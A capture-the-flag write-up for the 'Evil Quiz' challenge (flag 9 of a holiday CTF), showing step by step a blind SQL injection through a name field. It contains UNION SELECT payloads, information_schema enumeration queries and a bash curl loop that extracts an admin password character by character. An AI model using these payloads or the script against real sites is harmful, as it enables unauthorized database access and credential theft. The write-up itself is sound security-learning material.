Grinch-Networks CTF Writeup Flag 9
Just how evil are you? Take the quiz and see! Just don’t go poking around the admin area!
Evil Quiz

The Evil-Quiz was really great. Basically it contains 4 different areas.
Number one was something like a landing page with a input field for a name.

Step 2 was the actual quiz.

Step 3 was a overview of the score reached with the quiz.
Step 4 was a admin Login area protected by some username and password. There was a early hint on the chat that not brute forcing is needed here.
The page sources of all 4 pages are quite normal. No JavaScript or any other fancy stuff.
So lets take a look on the request flow: While loading the landing the first time or better to say without a cookie the webapp will generate a session cookie. This is important for the next steps.
Given we are visiting the site for the first time without any session cookie, the app will response with a Set-Cookie and a redirect to the landing page. The navigation tabs for Quiz and Score are active and can be clicked but the application will not navigate. After I have entered a Name and clicked “Enter” I was able to take the Quiz. After this step I was forwarded to the score page.
1st run: / -> /start -> /score
After this first run I was able to navigate back to the landing page, enter a different name and navigate directly to the score page without the need of taking the quiz again. That is something important for later.
2nd run: / -> /score
But we need to find the actual vulnerability first. There was one thing on the score page I found quite interesting.

There is 1 other player with the same name as you! Okay cool! Thanks for this information but … well I don’t care… We should care. Remember one thing! Such kind of information are ALWAYS telling us something in a CTF challenge. So let’s see what we can do with this number. It’s saying “other user with the same NAME”. Okay let’s go back and try to change the input of the Name Input field to something else then a real name.
'; --
OR
'; SHOW TABLES; --
Remember the space after --

Okay so that looks good! Looks like we have a Blind SQL-Injection. Blind? What does Blind mean?
A blind SQL Injection will not give us any data directly! We need to guess anything we need. Long story short -> It means we will have a hard time. Let’s start. Before we start exploiting it we need to be sure what we are looking for. In this challenge we are looking for the admin user and its password.
So what we are going to do:
- Exfiltrate schema name
- Exfiltrate table name
- Exfiltrate table definition
- Exfiltrate data
Before I wrote the script to help me with it, I needed to test the query manually via the name field. I used a UNION SELECT to append my query to the actual output. A very important thing with this kind of SQL injection is the number of columns of the result set. They have to match exactly. sqlmap tests this with 1 - 10 columns. Lets to the same manually. I have created a query that will do exactly the same.
x' UNION SELECT null --
x' UNION SELECT null,null,null,null --
The fourth try was successfully.

We are checking the scope page after setting the new “name”. The last query is successful!
There is 1 other player(s) with the same name as you!
So lets start to find the information we need. Our goal is to get the username and password. To get this we need the schema, the table, the columns and of course the data. Let’s start with the schema. Before sending 10000. of request with sqlmap we can be smart and just try some things to see how far we can get without any script or tool.
The Challenge is called Evil-Quiz so if I would create a database for a evil-quiz I would it simply name quiz. Lets give it a shot.
x' union select null,null,null,null from information_schema.schemata where substr(schema_name, 1, 1) = 'q' --
Let me explain the query a little bit before moving forward to the next ones. MySQL is storing all the information we need in a special database called information_schema. For me it was very handy to have another MySQL Instance on my Laptop up and running to test my queries before sending it against our evil database. I already had a docker container running for other tests but as it can be handy to have the command let me share it:
docker run --name=mydb -p 3306:3306 mariadb:latest
docker exec -it mydb /bin/bash
Our query checks for a schema having a first letter of q. I have send this with the name field and the result was:
There is 1 other player(s) with the same name as you!
That means there is one database schema starting with q. Okay lets try quiz.
x' union select null,null,null,null from information_schema.schemata where substr(schema_name, 1, 4) = 'quiz' --
There is 1 other player(s) with the same name as you!
Great. Lets try to find tables. I mean, you are right. It is possible that there is a next character after z in quiz but before spending time finding this out I wanted to check the tables. Okay lets think about this one more time. If I would be the creator of this app I would have created a table called user or users. Lets give it a try.
x' union select null,null,null,null from information_schema.tables where substr(table_name, 1, 1) = 'u' and information_schema.table_schema = 'quiz' --
There is 0 other player(s) with the same name as you!
Mhhh okay this was not really successful. Lets see. My next guess was admin or admins. Let give this a try:
x' union select null,null,null,null from information_schema.tables where substr(table_name, 1, 1) = 'a' and information_schema.table_schema = 'quiz' --
There is 1 other player(s) with the same name as you!
Yes! Party! Looks like there is admin or admins table. Lets check if the table name is admin or admins or administrator/s.
x' union select null,null,null,null from information_schema.tables where substr(table_name, 1, 5) = 'admin' and information_schema.table_schema = 'quiz' --
There is 1 other player(s) with the same name as you!
x' union select null,null,null,null from information_schema.tables where substr(table_name, 1, 6) = 'admins' and information_schema.table_schema = 'quiz' --
There is 0 other player(s) with the same name as you!
x' union select null,null,null,null from information_schema.tables where substr(table_name, 1, 6) = 'admini' and information_schema.table_schema = 'quiz' --
There is 0 other player(s) with the same name as you!
Okay. We made two steps in the right direction. We know the schema name is quiz and the table name is admin. Now we need to find the columns of the admin table. Same idea. We think smart and try to guess what makes sense.
x' union select null,null,null,null from information_schema.columns where table_schema = 'quiz' and table_name = 'admin' and substr(column_name, 1, 4) = 'pass' --
There is 1 other player(s) with the same name as you!
x' union select null,null,null,null from information_schema.columns where table_schema = 'quiz' and table_name = 'admin' and substr(column_name, 1, 8) = 'password' --
There is 1 other player(s) with the same name as you!
The password column is password. Great. Now lets see where they store the username.
x' union select null,null,null,null from information_schema.columns where table_schema = 'quiz' and table_name = 'admin' and substr(column_name, 1, 5) = 'usern' --
There is 1 other player(s) with the same name as you!
x' union select null,null,null,null from information_schema.columns where table_schema = 'quiz' and table_name = 'admin' and substr(column_name, 1, 8) = 'username' --
There is 1 other player(s) with the same name as you!
Perfect. The column for the username is username! As you can see the names of the schema, table as well as the columns totally making sense. There is no need for a sqlmap trying to find a table named pets. Lets start reading the data. Even if this would be possible without a script, I wrote a small (ugly) shell script to help me out. This was mainly used for the password. I found the admin user manually with the following query:
x' union select null,null,null,null from quiz.admin where substr(username, 1, 5) = 'admin' --
There is 1 other player(s) with the same name as you!
THEDIRTSCRIPT :)
#!/bin/bash
set -ex
HOST=https://hackyholidays.h1ctf.com
URI=/evil-quiz
#echo "obtaining session and storing ... "
#curl --cookie-jar cookies.txt $HOST$URI
while read p; do
echo "User : $p"
#query="somethingThatDoesntExist' union select null,null,null,null from information_schema.columns where table_schema = 'quiz' and table_name = 'admin' and substr(data_type, 1, 1) = 'varchar' and column_name = 'password' -- "
query="somethingThatDoesntExist' union select null,null,null,null FROM quiz.admin where BINARY substr(password, 1, 1) = '$p' and username = 'admin' -- "
RDIR1=$(curl -si --cookie "session=4c7eedc3280c0e189f9bad5db333c363" $HOST$URI --data-raw "name=$query" | grep -oP "Location: \K.*")
echo "$RDIR1"
echo $(curl -si --cookie "session=4c7eedc3280c0e189f9bad5db333c363" "$HOST/evil-quiz/score" | egrep -i '<div style="margin-top:20px">.*</div>')
done < keys.txt
This was the first version of the script. I have created a keys.txt file including all characters from a-z0-9 and some special chars. It is not beautiful or can deal with a lot of parameters but I can send http requests to the evil quiz and after changing the name field it can read out the “User-Message” from the scope site and print it to my screen. With this little script I was able to get the password. It was a manual process adjusting the substring as well as adding the newly found character to the script but it was okay for its need. After around 20 min I had finally this query showing me the password.
x' union select null,null,null,null FROM quiz.admin where substr(password, 1, 17) = 's3cret_p4ssw0rd-$' and username = 'admin' --
But I wasn’t able to login… I was quit frustrated and asked for a push in the right direction. The hint was: It is case sensitive. Ahh now it makes sense. MySQL will not check for case sensitive characters as long we are not telling the database to do so. I googled a little bit around and found the parameter BINARY
I added the BINARY parameter to my query and executed the script without the loop as I had the characters already. After a couple of more minutes I had the password. Finally!
x' union select null,null,null,null FROM quiz.admin where BINARY substr(password, 1, 17) = 'S3creT_p4ssw0rd-$' and username = 'admin' --

This challenge was very helpful to refresh the knowledge about blind sql injections and how to use them. I am pretty sure there is a sqlmap based solution that will do the exact same things as my shell script. But I have learned a lot by writing my own script and this new generated knowledge was the key to success in one of the next challenges. Keep reading
Further Reading https://owasp.org/www-community/attacks/Blind_SQL_Injection